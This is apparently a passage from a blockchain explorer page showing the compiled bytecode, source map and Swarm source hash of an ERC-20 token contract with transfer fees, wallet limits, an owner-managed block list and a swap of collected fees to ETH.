66726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161045e565b6001600160a01b038216610b5a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161045e565b5f8111610bbb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161045e565b60135462010000900460ff161580610bda5750601354610100900460ff165b15610c84576001600160a01b0383165f90815260016020526040902054610c029082906116f8565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610c3190829061170b565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a879085815260200190565b5f80546001600160a01b03858116911614801590610caf57505f546001600160a01b03848116911614155b15610fa2576001600160a01b0384165f9081526004602052604090205460ff16158015610cf457506001600160a01b0383165f9081526004602052604090205460ff16155b610cfc575f80fd5b610d286064610d22600f5460125411610d1757600b54610d1b565b600d545b8590611117565b9061119c565b6016549091506001600160a01b038581169116148015610d5657506015546001600160a01b03848116911614155b8015610d7a57506001600160a01b0383165f9081526003602052604090205460ff16155b15610e6057600754821115610dd15760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161045e565b60085482610df3856001600160a01b03165f9081526001602052604090205490565b610dfd919061170b565b1115610e4b5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161045e565b60128054905f610e5a8361171e565b91905055505b6016546001600160a01b038481169116148015610e8657506001600160a01b0384163014155b15610ebe57610eb06064610d2260105460125411610ea657600c54610d1b565b600e548590611117565b905047610ebc476111dd565b505b305f90815260016020526040902054601354610100900460ff16158015610ef257506016546001600160a01b038581169116145b8015610f06575060135462010000900460ff165b8015610f13575060095481115b8015610f225750601154601254115b15610fa0576013546301000000900460ff1615610f7b57436014541015610f7657610f60610f5b84610f5684600a54611218565b611218565b61122c565b478015610f7057610f70476111dd565b50436014555b610fa0565b610f8e610f5b84610f5684600a54611218565b478015610f9e57610f9e476111dd565b505b505b801561101a57305f90815260016020526040902054610fc19082611396565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110119085815260200190565b60405180910390a35b6001600160a01b0384165f9081526001602052604090205461103c90836113f4565b6001600160a01b0385165f9081526001602052604090205561107f61106183836113f4565b6001600160a01b0385165f9081526001602052604090205490611396565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6110c885856113f4565b60405190815260200160405180910390a350505050565b5f81848411156111025760405162461bcd60e51b815260040161045e9190611461565b505f61110e84866116f8565b95945050505050565b5f825f0361112657505f6103a7565b5f6111318385611666565b90508261113e8583611736565b146111955760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161045e565b9392505050565b5f61119583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611435565b6006546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015611214573d5f803e3d5ffd5b5050565b5f8183116112265782611195565b50919050565b6013805461ff0019166101001790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061126e5761126e611755565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112c5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112e991906116b2565b816001815181106112fc576112fc611755565b6001600160a01b0392831660209182029290920101526015546113229130911684610970565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac9479061135a9085905f90869030904290600401611769565b5f604051808303815f87803b158015611371575f80fd5b505af1158015611383573d5f803e3d5ffd5b50506013805461ff001916905550505050565b5f806113a2838561170b565b9050838110156111955760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161045e565b5f61119583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110df565b5f81836114555760405162461bcd60e51b815260040161045e9190611461565b505f61110e8486611736565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610800575f80fd5b5f80604083850312156114bb575f80fd5b82356114c681611496565b946020939093013593505050565b5f805f606084860312156114e6575f80fd5b83356114f181611496565b9250602084013561150181611496565b929592945050506040919091013590565b5f60208284031215611522575f80fd5b813561119581611496565b5f806040838503121561153e575f80fd5b823561154981611496565b9150602083013561155981611496565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156115b257815f190482111561159857611598611564565b808516156115a557918102915b93841c939080029061157d565b509250929050565b5f826115c8575060016103a7565b816115d457505f6103a7565b81600181146115ea57600281146115f457611610565b60019150506103a7565b60ff84111561160557611605611564565b50506001821b6103a7565b5060208310610133831016604e8410600b8410161715611633575081810a6103a7565b61163d8383611578565b805f190482111561165057611650611564565b029392505050565b5f61119560ff8416836115ba565b80820281158282048414176103a7576103a7611564565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156116c2575f80fd5b815161119581611496565b5f805f606084860312156116df575f80fd5b8351925060208401519150604084015190509250925092565b818103818111156103a7576103a7611564565b808201808211156103a7576103a7611564565b5f6001820161172f5761172f611564565b5060010190565b5f8261175057634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156117b95784516001600160a01b031683529383019391830191600101611794565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e33083b14949c9970d9c2d7282d3e18e2f931818e1fb6550f3fbd61f69acb4bd64736f6c63430008190033
Deployed Bytecode Sourcemap
3675:8177:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6183:83;;;;;;;;;;-1:-1:-1;6253:5:0;;;;;;;;;;;;-1:-1:-1;;;6253:5:0;;;;6183:83;;;;;;;:::i;:::-;;;;;;;;7136:161;;;;;;;;;;-1:-1:-1;7136:161:0;;;;;:::i;:::-;;:::i;:::-;;;1058:14:1;;1051:22;1033:41;;1021:2;1006:18;7136:161:0;893:187:1;4455:45:0;;;;;;;;;;;;;;;;;;;1231:25:1;;;1219:2;1204:18;4455:45:0;1085:177:1;6454:95:0;;;;;;;;;;;;;:::i;7303:313::-;;;;;;;;;;-1:-1:-1;7303:313:0;;;;;:::i;:::-;;:::i;5873:304::-;;;;;;;;;;;;;:::i;:::-;;4403:45;;;;;;;;;;;;;;;;6365:83;;;;;;;;;;-1:-1:-1;6365:83:0;;4105:1;1870:36:1;;1858:2;1843:18;6365:83:0;1728:184:1;10874:254:0;;;;;;;;;;-1:-1:-1;10874:254:0;;;;;:::i;:::-;;:::i;4345:51::-;;;;;;;;;;;;;;;;6555:119;;;;;;;;;;-1:-1:-1;6555:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6648:18:0;6621:7;6648:18;;;:9;:18;;;;;;;6555:119;2760:148;;;;;;;;;;;;;:::i;4291:47::-;;;;;;;;;;;;;;;;2546:79;;;;;;;;;;-1:-1:-1;2584:7:0;2611:6;2546:79;;-1:-1:-1;;;;;2611:6:0;;;2315:51:1;;2303:2;2288:18;2546:79:0;2169:203:1;6272:87:0;;;;;;;;;;-1:-1:-1;6344:7:0;;;;;;;;;;;;-1:-1:-1;;;6344:7:0;;;;6272:87;;11134:114;;;;;;;;;;;;;:::i;6680:167::-;;;;;;;;;;-1:-1:-1;6680:167:0;;;;;:::i;:::-;;:::i;5565:302::-;;;;;;;;;;;;;:::i;6853:143::-;;;;;;;;;;-1:-1:-1;6853:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6961:18:0;;;6934:7;6961:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6853:143;7136:161;7211:4;7228:39;2205:10;7251:7;7260:6;7228:8;:39::i;:::-;-1:-1:-1;7285:4:0;7136:161;;;;;:::o;6454:95::-;6507:7;4163:13;4105:1;4163:2;:13;:::i;:::-;4148:28;;:12;:28;:::i;:::-;6527:14;;6454:95;:::o;7303:313::-;7401:4;7418:36;7428:6;7436:9;7447:6;7418:9;:36::i;:::-;7465:121;7474:6;2205:10;7496:89;7534:6;7496:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7496:19:0;;;;;;:11;:19;;;;;;;;2205:10;7496:33;;;;;;;;;;:37;:89::i;:::-;7465:8;:121::i;:::-;-1:-1:-1;7604:4:0;7303:313;;;;;:::o;5873:304::-;2673:6;;-1:-1:-1;;;;;2673:6:0;2205:10;2673:22;2665:67;;;;-1:-1:-1;;;2665:67:0;;;;;;;:::i;:::-;;;;;;;;;5929:9:::1;:74:::0;;-1:-1:-1;;;;;;5929:74:0::1;5960:42;5929:74:::0;;::::1;::::0;;;6014:52:::1;::::0;6031:4:::1;::::0;4163:13:::1;4105:1;4163:2;:13;:::i;:::-;4148:28;::::0;:12:::1;:28;:::i;6014:52::-;6105:9;;;;;;;;;-1:-1:-1::0;;;;;6105:9:0::1;-1:-1:-1::0;;;;;6105:17:0::1;;:19;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6087:49:0::1;;6145:4;6152:9;;;;;;;;;-1:-1:-1::0;;;;;6152:9:0::1;-1:-1:-1::0;;;;;6152:14:0::1;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6087:82;::::0;-1:-1:-1;;;;;;6087:82:0::1;::::0;;;;;;-1:-1:-1;;;;;5299:15:1;;;6087:82:0::1;::::0;::::1;5281:34:1::0;5351:15;;5331:18;;;5324:43;5216:18;;6087:82:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6077:7;:92:::0;;-1:-1:-1;;;;;;6077:92:0::1;-1:-1:-1::0;;;;;6077:92:0;;;::::1;::::0;;;::::1;::::0;;5873:304::o;10874:254::-;2673:6;;-1:-1:-1;;;;;2673:6:0;2205:10;2673:22;2665:67;;;;-1:-1:-1;;;2665:67:0;;;;;;;:::i;:::-;10943:12:::1;:18:::0;;-1:-1:-1;;10943:18:0::1;::::0;;4163:13:::1;4105:1;4163:2;:13;:::i;:::-;4148:28;::::0;:12:::1;:28;:::i;:::-;10972:12;:20:::0;4163:13:::1;4105:1;4163:2;:13;:::i;:::-;4148:28;::::0;:12:::1;:28;:::i;:::-;11003:16;:24:::0;4163:13:::1;4105:1;4163:2;:13;:::i;:::-;4148:28;::::0;:12:::1;:28;:::i;:::-;-1:-1:-1::0;;;;;11038:20:0;;::::1;;::::0;;;:11:::1;:20;::::0;;;;;;;11059:9:::1;::::0;;;::::1;11038:31:::0;;;;;;:39;11093:27:::1;4163:13;4105:1;4163:2;:13;:::i;:::-;4148:28;::::0;:12:::1;:28;:::i;:::-;11093:27;::::0;1231:25:1;;;1219:2;1204:18;11093:27:0::1;;;;;;;10874:254:::0;:::o;2760:148::-;2673:6;;-1:-1:-1;;;;;2673:6:0;2205:10;2673:22;2665:67;;;;-1:-1:-1;;;2665:67:0;;;;;;;:::i;:::-;2867:1:::1;2851:6:::0;;2830:40:::1;::::0;-1:-1:-1;;;;;2851:6:0;;::::1;::::0;2830:40:::1;::::0;2867:1;;2830:40:::1;2898:1;2881:19:::0;;-1:-1:-1;;;;;;2881:19:0::1;::::0;;2760:148::o;11134:114::-;2673:6;;-1:-1:-1;;;;;2673:6:0;2205:10;2673:22;2665:67;;;;-1:-1:-1;;;2665:67:0;;;;;;;:::i;:::-;11189:51:::1;::::0;11197:10:::1;::::0;11218:21:::1;11189:51:::0;::::1;;;::::0;::::1;::::0;;;11218:21;11197:10;11189:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11134:114::o:0;6680:167::-;6758:4;6775:42;2205:10;6799:9;6810:6;6775:9;:42::i;5565:302::-;2673:6;;-1:-1:-1;;;;;2673:6:0;2205:10;2673:22;2665:67;;;;-1:-1:-1;;;2665:67:0;;;;;;;:::i;:::-;5629:11:::1;::::0;::::1;;5628:12;5620:47;;;::::0;-1:-1:-1;;;5620:47:0;;5580:2:1;5620:47:0::1;::::0;::::1;5562:21:1::0;5619:2;5599:18;;;5592:30;5658:25;5638:18;;;5631:53;5701:18;;5620:47:0::1;5378:347:1::0;5620:47:0::1;5678:9;::::0;-1:-1:-1;;;;;5678:9:0::1;:25;5711:21;5742:4;5748:24;5742:4:::0;-1:-1:-1;;;;;6648:18:0;6621:7;6648:18;;;:9;:18;;;;;;;6555:119;5748:24:::1;5773:1;5775::::0;5777:7:::1;2584::::0;2611:6;-1:-1:-1;;;;;2611:6:0;;2546:79;5777:7:::1;5678:123;::::0;::::1;::::0;;;-1:-1:-1;;;;;;5678:123:0;;;-1:-1:-1;;;;;6089:15:1;;;5678:123:0::1;::::0;::::1;6071:34:1::0;6121:18;;;6114:34;;;;6164:18;;;6157:34;;;;6207:18;;;6200:34;6271:15;;;6250:19;;;6243:44;5785:15:0::1;6303:19:1::0;;;6296:35;6005:19;;5678:123:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;5812:11:0::1;:18:::0;;-1:-1:-1;;5841:18:0;;;;;-1:-1:-1;5565:302:0:o;7622:335::-;-1:-1:-1;;;;;7715:19:0;;7707:68;;;;-1:-1:-1;;;7707:68:0;;6855:2:1;7707:68:0;;;6837:21:1;6894:2;6874:18;;;6867:30;6933:34;6913:18;;;6906:62;-1:-1:-1;;;6984:18:1;;;6977:34;7028:19;;7707:68:0;6653:400:1;7707:68:0;-1:-1:-1;;;;;7794:21:0;;7786:68;;;;-1:-1:-1;;;7786:68:0;;7260:2:1;7786:68:0;;;7242:21:1;7299:2;7279:18;;;7272:30;7338:34;7318:18;;;7311:62;-1:-1:-1;;;7389:18:1;;;7382:32;7431:19;;7786:68:0;7058:398:1;7786:68:0;-1:-1:-1;;;;;7865:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7917:32;;1231:25:1;;;7917:32:0;;1204:18:1;7917:32:0;;;;;;;;7622:335;;;:::o;7963:2801::-;-1:-1:-1;;;;;8051:18:0;;8043:68;;;;-1:-1:-1;;;8043:68:0;;7663:2:1;8043:68:0;;;7645:21:1;7702:2;7682:18;;;7675:30;7741:34;7721:18;;;7714:62;-1:-1:-1;;;7792:18:1;;;7785:35;7837:19;;8043:68:0;7461:401:1;8043:68:0;-1:-1:-1;;;;;8130:16:0;;8122:64;;;;-1:-1:-1;;;8122:64:0;;8069:2:1;8122:64:0;;;8051:21:1;8108:2;8088:18;;;8081:30;8147:34;8127:18;;;8120:62;-1:-1:-1;;;8198:18:1;;;8191:33;8241:19;;8122:64:0;7867:399:1;8122:64:0;8214:1;8205:6;:10;8197:64;;;;-1:-1:-1;;;8197:64:0;;8473:2:1;8197:64:0;;;8455:21:1;8512:2;8492:18;;;8485:30;8551:34;8531:18;;;8524:62;-1:-1:-1;;;8602:18:1;;;8595:39;8651:19;;8197:64:0;8271:405:1;8197:64:0;8277:11;;;;;;;8276:12;;:22;;-1:-1:-1;8292:6:0;;;;;;;8276:22;8272:217;;;-1:-1:-1;;;;;8333:15:0;;;;;;:9;:15;;;;;;:24;;8351:6;;8333:24;:::i;:::-;-1:-1:-1;;;;;8315:15:0;;;;;;;:9;:15;;;;;;:42;;;;8388:13;;;;;;;:22;;8404:6;;8388:22;:::i;:::-;-1:-1:-1;;;;;8372:13:0;;;;;;;:9;:13;;;;;;;:38;;;;8430:26;;;;;;;;;;8449:6;1231:25:1;;1219:2;1204:18;;1085:177;8272:217:0;8499:12;2611:6;;-1:-1:-1;;;;;8528:15:0;;;2611:6;;8528:15;;;;:32;;-1:-1:-1;2584:7:0;2611:6;-1:-1:-1;;;;;8547:13:0;;;2611:6;;8547:13;;8528:32;8524:1910;;;-1:-1:-1;;;;;8586:11:0;;;;;;:5;:11;;;;;;;;8585:12;:26;;;;-1:-1:-1;;;;;;8602:9:0;;;;;;:5;:9;;;;;;;;8601:10;8585:26;8577:35;;;;;;8634:74;8704:3;8634:65;8657:12;;8646:10;;:23;8645:53;;8684:14;;8645:53;;;8671:12;;8645:53;8634:6;;:10;:65::i;:::-;:69;;:74::i;:::-;8735:7;;8627:81;;-1:-1:-1;;;;;;8727:15:0;;;8735:7;;8727:15;:43;;;;-1:-1:-1;8760:9:0;;-1:-1:-1;;;;;8746:24:0;;;8760:9;;8746:24;;8727:43;:68;;;;-1:-1:-1;;;;;;8776:19:0;;;;;;:15;:19;;;;;;;;8774:21;8727:68;8723:301;;;8835:12;;8825:6;:22;;8817:60;;;;-1:-1:-1;;;8817:60:0;;9146:2:1;8817:60:0;;;9128:21:1;9185:2;9165:18;;;9158:30;9224:27;9204:18;;;9197:55;9269:18;;8817:60:0;8944:349:1;8817:60:0;8930:16;;8920:6;8904:13;8914:2;-1:-1:-1;;;;;6648:18:0;6621:7;6648:18;;;:9;:18;;;;;;;6555:119;8904:13;:22;;;;:::i;:::-;:42;;8896:81;;;;-1:-1:-1;;;8896:81:0;;9500:2:1;8896:81:0;;;9482:21:1;9539:2;9519:18;;;9512:30;9578:28;9558:18;;;9551:56;9624:18;;8896:81:0;9298:350:1;8896:81:0;8996:10;:12;;;:10;:12;;;:::i;:::-;;;;;;8723:301;9047:7;;-1:-1:-1;;;;;9041:13:0;;;9047:7;;9041:13;:37;;;;-1:-1:-1;;;;;;9058:20:0;;9073:4;9058:20;;9041:37;9038:351;;;9106:77;9179:3;9106:68;9129:13;;9118:10;;:24;9117:56;;9158:15;;9117:56;;;9144:13;;9106:6;;:10;:68::i;:77::-;9099:84;-1:-1:-1;9231:21:0;9322:32;9332:21;9322:9;:32::i;:::-;9080:309;9038:351;9452:4;9403:28;6648:18;;;:9;:18;;;;;;9478:6;;;;;;;9477:7;:24;;;;-1:-1:-1;9494:7:0;;-1:-1:-1;;;;;9488:13:0;;;9494:7;;9488:13;9477:24;:39;;;;-1:-1:-1;9505:11:0;;;;;;;9477:39;:75;;;;;9541:11;;9520:20;:32;9477:75;:103;;;;;9567:13;;9556:10;;:24;9477:103;9473:950;;;9605:12;;;;;;;9601:807;;;9661:12;9646;;:27;9642:426;;;9702:67;9719:49;9723:6;9730:37;9734:20;9755:11;;9730:3;:37::i;:::-;9719:3;:49::i;:::-;9702:16;:67::i;:::-;9825:21;9876:22;;9873:118;;9931:32;9941:21;9931:9;:32::i;:::-;-1:-1:-1;10032:12:0;10017;:27;9642:426;9601:807;;;10116:67;10133:49;10137:6;10144:37;10148:20;10169:11;;10144:3;:37::i;10116:67::-;10235:21;10282:22;;10279:110;;10333:32;10343:21;10333:9;:32::i;:::-;10093:315;9601:807;8562:1872;8524:1910;10447:6;;10444:147;;10510:4;10492:24;;;;:9;:24;;;;;;:34;;10521:4;10492:28;:34::i;:::-;10485:4;10467:24;;;;:9;:24;;;;;;;:59;;;;10544:35;;-1:-1:-1;;;;;10544:35:0;;;;;;;10574:4;1231:25:1;;1219:2;1204:18;;1085:177;10544:35:0;;;;;;;;10444:147;-1:-1:-1;;;;;10617:15:0;;;;;;:9;:15;;;;;;:27;;10637:6;10617:19;:27::i;:::-;-1:-1:-1;;;;;10601:15:0;;;;;;:9;:15;;;;;:43;10669:35;10687:16;:6;10698:4;10687:10;:16::i;:::-;-1:-1:-1;;;;;10669:13:0;;;;;;:9;:13;;;;;;;:17;:35::i;:::-;-1:-1:-1;;;;;10655:13:0;;;;;;;:9;:13;;;;;:49;;;;10720:36;;;10739:16;:6;10750:4;10739:10;:16::i;:::-;10720:36;;1231:25:1;;;1219:2;1204:18;10720:36:0;;;;;;;8032:2732;7963:2801;;;:::o;1304:190::-;1390:7;1426:12;1418:6;;;;1410:29;;;;-1:-1:-1;;;1410:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1450:9:0;1462:5;1466:1;1462;:5;:::i;:::-;1450:17;1304:190;-1:-1:-1;;;;;1304:190:0:o;1502:246::-;1560:7;1584:1;1589;1584:6;1580:47;;-1:-1:-1;1614:1:0;1607:8;;1580:47;1637:9;1649:5;1653:1;1649;:5;:::i;:::-;1637:17;-1:-1:-1;1682:1:0;1673:5;1677:1;1637:17;1673:5;:::i;:::-;:10;1665:56;;;;-1:-1:-1;;;1665:56:0;;10217:2:1;1665:56:0;;;10199:21:1;10256:2;10236:18;;;10229:30;10295:34;10275:18;;;10268:62;-1:-1:-1;;;10346:18:1;;;10339:31;10387:19;;1665:56:0;10015:397:1;1665:56:0;1739:1;1502:246;-1:-1:-1;;;1502:246:0:o;1756:132::-;1814:7;1841:39;1845:1;1848;1841:39;;;;;;;;;;;;;;;;;:3;:39::i;11254:89::-;11308:10;;:27;;-1:-1:-1;;;;;11308:10:0;;;;:27;;;;;11328:6;;11308:10;:27;:10;:27;11328:6;11308:10;:27;;;;;;;;;;;;;;;;;;;;;11254:89;:::o;10770:98::-;10827:7;10854:1;10852;:3;10851:9;;10859:1;10851:9;;;-1:-1:-1;10857:1:0;10770:98;-1:-1:-1;10770:98:0:o;11384:465::-;5151:6;:13;;-1:-1:-1;;5151:13:0;;;;;11486:16:::1;::::0;;11500:1:::1;11486:16:::0;;;;;::::1;::::0;;-1:-1:-1;;11486:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;11486:16:0::1;11462:40;;11531:4;11513;11518:1;11513:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11513:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;11557:9:::1;::::0;:16:::1;::::0;;-1:-1:-1;;;11557:16:0;;;;:9;;;::::1;::::0;:14:::1;::::0;:16:::1;::::0;;::::1;::::0;11513:7;;11557:16;;;;;:9;:16:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11547:4;11552:1;11547:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11547:26:0;;::::1;:7;::::0;;::::1;::::0;;;;;:26;11616:9:::1;::::0;11584:56:::1;::::0;11601:4:::1;::::0;11616:9:::1;11628:11:::0;11584:8:::1;:56::i;:::-;11651:9;::::0;:190:::1;::::0;-1:-1:-1;;;11651:190:0;;-1:-1:-1;;;;;11651:9:0;;::::1;::::0;:60:::1;::::0;:190:::1;::::0;11726:11;;11651:9:::1;::::0;11768:4;;11795::::1;::::0;11815:15:::1;::::0;11651:190:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5187:6:0;:14;;-1:-1:-1;;5187:14:0;;;-1:-1:-1;;;;11384:465:0:o;973:179::-;1031:7;;1063:5;1067:1;1063;:5;:::i;:::-;1051:17;;1092:1;1087;:6;;1079:46;;;;-1:-1:-1;;;1079:46:0;;11868:2:1;1079:46:0;;;11850:21:1;11907:2;11887:18;;;11880:30;11946:29;11926:18;;;11919:57;11993:18;;1079:46:0;11666:351:1;1160:136:0;1218:7;1245:43;1249:1;1252;1245:43;;;;;;;;;;;;;;;;;:3;:43::i;1896:189::-;1982:7;2017:12;2010:5;2002:28;;;;-1:-1:-1;;;2002:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2041:9:0;2053:5;2057:1;2053;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:315;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;878:2;863:18;;;;850:32;;-1:-1:-1;;;573:315:1:o;1267:456::-;1344:6;1352;1360;1413:2;1401:9;1392:7;1388:23;1384:32;1381:52;;;1429:1;1426;1419:12;1381:52;1468:9;1455:23;1487:31;1512:5;1487:31;:::i;:::-;1537:5;-1:-1:-1;1594:2:1;1579:18;;1566:32;1607:33;1566:32;1607:33;:::i;:::-;1267:456;;1659:7;;-1:-1:-1;;;1713:2:1;1698:18;;;;1685:32;;1267:456::o;1917:247::-;1976:6;2029:2;2017:9;2008:7;2004:23;2000:32;1997:52;;;2045:1;2042;2035:12;1997:52;2084:9;2071:23;2103:31;2128:5;2103:31;:::i;2377:388::-;2445:6;2453;2506:2;2494:9;2485:7;2481:23;2477:32;2474:52;;;2522:1;2519;2512:12;2474:52;2561:9;2548:23;2580:31;2605:5;2580:31;:::i;:::-;2630:5;-1:-1:-1;2687:2:1;2672:18;;2659:32;2700:33;2659:32;2700:33;:::i;:::-;2752:7;2742:17;;;2377:388;;;;;:::o;2770:127::-;2831:10;2826:3;2822:20;2819:1;2812:31;2862:4;2859:1;2852:15;2886:4;2883:1;2876:15;2902:416;2991:1;3028:5;2991:1;3042:270;3063:7;3053:8;3050:21;3042:270;;;3122:4;3118:1;3114:6;3110:17;3104:4;3101:27;3098:53;;;3131:18;;:::i;:::-;3181:7;3171:8;3167:22;3164:55;;;3201:16;;;;3164:55;3280:22;;;;3240:15;;;;3042:270;;;3046:3;2902:416;;;;;:::o;3323:806::-;3372:5;3402:8;3392:80;;-1:-1:-1;3443:1:1;3457:5;;3392:80;3491:4;3481:76;;-1:-1:-1;3528:1:1;3542:5;;3481:76;3573:4;3591:1;3586:59;;;;3659:1;3654:130;;;;3566:218;;3586:59;3616:1;3607:10;;3630:5;;;3654:130;3691:3;3681:8;3678:17;3675:43;;;3698:18;;:::i;:::-;-1:-1:-1;;3754:1:1;3740:16;;3769:5;;3566:218;;3868:2;3858:8;3855:16;3849:3;3843:4;3840:13;3836:36;3830:2;3820:8;3817:16;3812:2;3806:4;3803:12;3799:35;3796:77;3793:159;;;-1:-1:-1;3905:19:1;;;3937:5;;3793:159;3984:34;4009:8;4003:4;3984:34;:::i;:::-;4054:6;4050:1;4046:6;4042:19;4033:7;4030:32;4027:58;;;4065:18;;:::i;:::-;4103:20;;3323:806;-1:-1:-1;;;3323:806:1:o;4134:140::-;4192:5;4221:47;4262:4;4252:8;4248:19;4242:4;4221:47;:::i;4279:168::-;4352:9;;;4383;;4400:15;;;4394:22;;4380:37;4370:71;;4421:18;;:::i;4452:356::-;4654:2;4636:21;;;4673:18;;;4666:30;4732:34;4727:2;4712:18;;4705:62;4799:2;4784:18;;4452:356::o;4813:251::-;4883:6;4936:2;4924:9;4915:7;4911:23;4907:32;4904:52;;;4952:1;4949;4942:12;4904:52;4984:9;4978:16;5003:31;5028:5;5003:31;:::i;6342:306::-;6430:6;6438;6446;6499:2;6487:9;6478:7;6474:23;6470:32;6467:52;;;6515:1;6512;6505:12;6467:52;6544:9;6538:16;6528:26;;6594:2;6583:9;6579:18;6573:25;6563:35;;6638:2;6627:9;6623:18;6617:25;6607:35;;6342:306;;;;;:::o;8681:128::-;8748:9;;;8769:11;;;8766:37;;;8783:18;;:::i;8814:125::-;8879:9;;;8900:10;;;8897:36;;;8913:18;;:::i;9653:135::-;9692:3;9713:17;;;9710:43;;9733:18;;:::i;:::-;-1:-1:-1;9780:1:1;9769:13;;9653:135::o;9793:217::-;9833:1;9859;9849:132;;9903:10;9898:3;9894:20;9891:1;9884:31;9938:4;9935:1;9928:15;9966:4;9963:1;9956:15;9849:132;-1:-1:-1;9995:9:1;;9793:217::o;10549:127::-;10610:10;10605:3;10601:20;10598:1;10591:31;10641:4;10638:1;10631:15;10665:4;10662:1;10655:15;10681:980;10943:4;10991:3;10980:9;10976:19;11022:6;11011:9;11004:25;11048:2;11086:6;11081:2;11070:9;11066:18;11059:34;11129:3;11124:2;11113:9;11109:18;11102:31;11153:6;11188;11182:13;11219:6;11211;11204:22;11257:3;11246:9;11242:19;11235:26;;11296:2;11288:6;11284:15;11270:29;;11317:1;11327:195;11341:6;11338:1;11335:13;11327:195;;;11406:13;;-1:-1:-1;;;;;11402:39:1;11390:52;;11497:15;;;;11462:12;;;;11438:1;11356:9;11327:195;;;-1:-1:-1;;;;;;;11578:32:1;;;;11573:2;11558:18;;11551:60;-1:-1:-1;;;11642:3:1;11627:19;11620:35;11539:3;10681:980;-1:-1:-1;;;10681:980:1:o
Swarm Source
ipfs://e33083b14949c9970d9c2d7282d3e18e2f931818e1fb6550f3fbd61f69acb4bd
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.